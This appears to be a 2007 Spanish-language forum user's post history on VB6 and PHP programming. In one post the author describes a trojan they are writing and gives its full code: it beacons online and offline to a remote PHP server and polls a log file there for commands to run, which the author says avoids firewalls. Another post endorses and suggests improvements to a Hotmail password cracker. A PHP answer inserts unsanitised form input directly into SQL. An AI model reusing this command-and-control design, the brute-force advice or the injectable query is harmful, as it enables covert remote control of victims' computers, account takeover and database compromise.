|
1041
|
Programación / PHP / Re: Como enviar los datos a la Base de Datos
|
en: 3 Septiembre 2007, 23:30 pm
|
Pues eso que quieres hacerno es complicado, a ver si no me equivoco sería algo así: Suponiendo que tienes una base de datos, con una tabla creada con los campos: nombre, email, url, asunto, texto. El archivo engranes.php sería tal que así: <?php // 1.- RECOGIDA DE DATOS DEL FORMULARIO $nombre=$_POST['nombre']; $email=$_POST['email']; $url=$_POST['url']; $asunto=$_POST['asunto']; $texto=$_POST['texto']; // 2.- IDENTIFICACION nombre de la base, del usuario, clave y servidor $db="nombredeladb"; $db_login="tunombredeusuario"; $db_pswd="tupass"; $link = mysql_connect("server.delabase.dedatos", $db_login, $db_pswd); // 3.- CONEXION A LA BASE DE DATOS // 4.- INSERCION DE DATOS NOMBREDELATABLA (nombre, email, url, asunto, texto) VALUES ('$nombre','$email','$url','$asunto','$texto')"); print("Datos agregados a la base."); ?>
Solo tienes que sustituir tu nombre de usuario y pass, el de la base de datos y tu server y por supuesto donde dice NOMBREDELATABLA pon el nombre de la tabla de tu base de datos. Con eso no deberías de tener más problemas para insertar los datos en la base de datos, espero que te sea de ayuda Saludos
|
|
|
1042
|
Programación / Ingeniería Inversa / Re: Programa para saber en q fue programado un archivo.
|
en: 31 Agosto 2007, 19:31 pm
|
Yo creo que eso no es lo que ha preguntado, quiere un programa con elque saber en que lenguaje ha sido programado cierto archivo si no me equivoco. Eso puedes verlo con PEiD. Es un programa que te dirá el último programa que compiló ese archivo y así sabrás si fue Visual Basic, C, Delphi o lo que sea. El problema es que si el archivo ha sido cifrado con algún programa o ha sido empaquetado después de compilar con UPX o algún encrypter tendrás que desenpaquetar el upx o revertir el proceso que sea que no suele ser muy difícil. A unas malas podrías hacerlo con OllyDbg si sabes un poquito de ingeniería inversa no es muy complicado. Por cierto PEiD te indica si el archivo ha sido comprimido y si es así te indica con que programa fue comprimido o cifrado. Osea que es fácil de hacer lo que quieres con este programa Saludos
|
|
|
1043
|
Programación / Programación Visual Basic / Re: Problema con apis wininet
|
en: 29 Agosto 2007, 21:07 pm
|
Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien. Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos
|
|
|
1044
|
Programación / Programación Visual Basic / Problema con apis wininet
|
en: 29 Agosto 2007, 19:52 pm
|
Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver. Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma. Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar Este archivo.php captura el comando y lo deja en el log.txt El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta. Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano. Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos... Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente... El código es el siguiente, a ver si me podéis ayudar. ' variables generales Dim data As String Dim x As Boolean ' Constantes para las funciones Api Const scUserAgent = "API-Guide test program" Const INTERNET_OPEN_TYPE_DIRECT = 1 Const INTERNET_FLAG_RELOAD = &H80000000 Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000 ' Crea conexión a internet Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _ ByVal sAgent As String, _ ByVal lAccessType As Long, _ ByVal sProxyName As String, _ ByVal sProxyBypass As String, _ ByVal lFlags As Long) As Long ' Abre URL Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _ ByVal hInternetSession As Long, _ ByVal lpszUrl As String, _ ByVal lpszHeaders As String, _ ByVal dwHeadersLength As Long, _ ByVal dwFlags As Long, _ ByVal dwContext As Long) As Long ' Cierra conexión Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer 'CONTENIDO DEL FICHERO Private Declare Function InternetReadFile Lib "wininet" ( _ ByVal hFile As Long, _ ByVal sBuffer As String, _ ByVal lNumBytesToRead As Long, _ lNumberOfBytesRead As Long) As Integer 'Variables para recargar constantemente Dim hOpen As Long Dim hFile As Long '///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR /////////////// Private Sub Form_Load() 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim hOpen As Long Dim hFile As Long Dim Url As String Url = "http://miserver/log.php?comando=online" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) DoEvents x = True Timer1.Enabled = True End Sub '///////// MANDAMOS MENSAJE OFFLINE AL CERRAR /////////////// Private Sub Form_Unload(Cancel As Integer) 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim hOpen As Long Dim hFile As Long Dim Url As String Url = "http://miserver.com/log.php?comando=offline" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) Espera (1) End Sub '////////////////////////////////////////////////////////////// Private Sub Timer1_Timer() 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION Dim sBuffer As String * 128 Dim Ret As Long Dim str_Total As String Dim Url As String If x = True Then Url = "http://miserver.com/log.txt" hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _ vbNullString, vbNullString, 0) hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) 'LEEMOS FICHERO Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = sBuffer While Ret <> 0 Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = str_Total & Mid(sBuffer, 1, Ret) DoEvents Wend x = False Else 'DESCARGAMOS FICHERO hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _ ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&) Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = sBuffer While Ret <> 0 Call InternetReadFile(hFile, sBuffer, 128, Ret) str_Total = str_Total & Mid(sBuffer, 1, Ret) DoEvents Wend Text1.Text = str_Total End If End Sub Sub Espera(Segundos As Single) Dim ComienzoSeg As Single Dim FinSeg As Single ComienzoSeg = Timer FinSeg = ComienzoSeg + Segundos Do While FinSeg > Timer DoEvents If ComienzoSeg > Timer Then FinSeg = FinSeg - 24 * 60 * 60 End If Loop End Sub
Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD Saludos, y gracias de antemano.
|
|
|
1047
|
Programación / Programación Visual Basic / Duda sobre protocolos MSN en VB6
|
en: 28 Agosto 2007, 22:25 pm
|
Hola, pues llevo más o menos toda la tarde líado con un intento de cliente de msn. Ya sé que hay muchos códigos por google y eso, pero no me gustan, hay algunos que tienen demasiado código basura que no me sirve de nada, he leído bastante sobre los protocolos de MSN y creo que tengo ya una idea de como funcionan y si no me equivoco esto que hice, está correcto, sé que puede optimizarse, y lo haré pero de momento simplemente quería que conectase, el problema es que no lo hace. En el data_arrival del socket una vez conectado he capturado los datos que recibe y me sale ??????????????? No sé que pasará por eso os pido ayuda a ver si sabéis ayudarme un poco, el código es el siguiente: Dim data, aux, keys As String Dim vaux As Variant Private Sub Command1_Click() Winsock1.Connect "messenger.hotmail.com", 1863 End Sub Private Sub Winsock1_Connect() Winsock1.SendData "VER 1 MSNP8 CVR0" & vbCrLf End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Winsock1.GetData data Winsock1.GetData aux data = Left(data, 3) Select Case data Case "VER" Winsock1.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 7.5.0311 MSMSGS " & Text1.Text & vbCrLf Case "CVR" '//EL TEXT1.TEXT CONTIENE LA CUENTA CON LA QUE QUIERO CONECTAR Winsock1.SendData "USR 3 TWN I " & Text1.Text & vbCrLf Case "XFR" '// AQUÍ LO QUE HAGO ES COGER SOLO aux = Mid(aux, 9, 18) 'LA PARTE DEL PAQUETE QUE TIENE LOS vaux = Split(aux, ":") 'DATOS QUE ME INTERESAN Winsock1.Close Winsock2.Connect vaux(0), vaux(1) End Select End Sub Private Sub Winsock2_Connect() Winsock1.SendData "VER 4 MSNP8 CVR0" & vbCrLf End Sub Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long) Winsock2.GetData data Winsock2.GetData aux Select Case data data = Left(data, 3) Case "VER" Winsock2.SendData "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & vbCrLf Case "CVR" Winsock2.SendData "USR 6 TWN I " & Text1.Text & vbCrLf Case "USR" Dim a As Integer a = Len(aux) - 11 keys = Mid(aux, 11, a) Winsock3.Connect "login.passport.com", 443 End Select End Sub Private Sub Winsock3_Connect() Winsock3.SendData "GET /login2.srf HTTP/1.0" & vbCrLf & _ "Accept: */*" & vbCrLf & _ "Host: login.passport.com" & vbCrLf & _ "Authorization: Passport1 0.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=" & Text1.Text & ",pwd=password," & keys & vbCrLf End Sub Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long) Winsock3.GetData data End Sub
Y bueno eso es todo el código, ni que decir tiene que no pasa ni de la primera acción, puse un timer que capturase en todo momento el valor "data" y desde que conecta y envía el primer comando ya el data se vuelve "????????" no sé por que, porque si hago los mismos pasos desde telnet o netcat me va devolviendo bien los valores. Alguna idea para ayudarme por favor?? Gracias
|
|
|
1049
|
Programación / Programación Visual Basic / Re: Como cRear un Cracker para Hotmail?(mito destruido)
|
en: 28 Agosto 2007, 15:49 pm
|
Pues a mi me parece interesante la idea. Si la cuenta no se bloquea quizás el número de cuentas que comprueba es muy bajo y el generador de claves se podría mejorar o que cada uno ponga el que le parezca más conveniente pero para incrementar el número de passwords que comprueba con multiplicar el número se sockets y hacerlos probar passwords a todos generándolas aleatoriamente, creo que podría estar bien. Es difícil como han comentado sacar passwords, casi imposible como de 14 caracteres, pero esque hay que considerar que hay gente que usa passwords mucho más simples y esas si que podría ser que se crackeasen quizás,nosé la cuestión es planteárselo y probar, yo voy a ojear un poco el código a ver que tal.
|
|
|
1050
|
Programación / Programación Visual Basic / Re: Sobre archivos de texto ".txt"
|
en: 27 Agosto 2007, 19:42 pm
|
Para crear un archivo no es más fácil hacer esto?? Sub Crear_Archivo() Open ("C:\Prueba.txt") For Append As #1, Print #1, "El texto que quieras" Close #1 End Sub
Se agregará lo que escribas al nuevo archivo, no se sustituirá como dices que te ocurre ahora Saludos.
|
|
|
|
|
|
|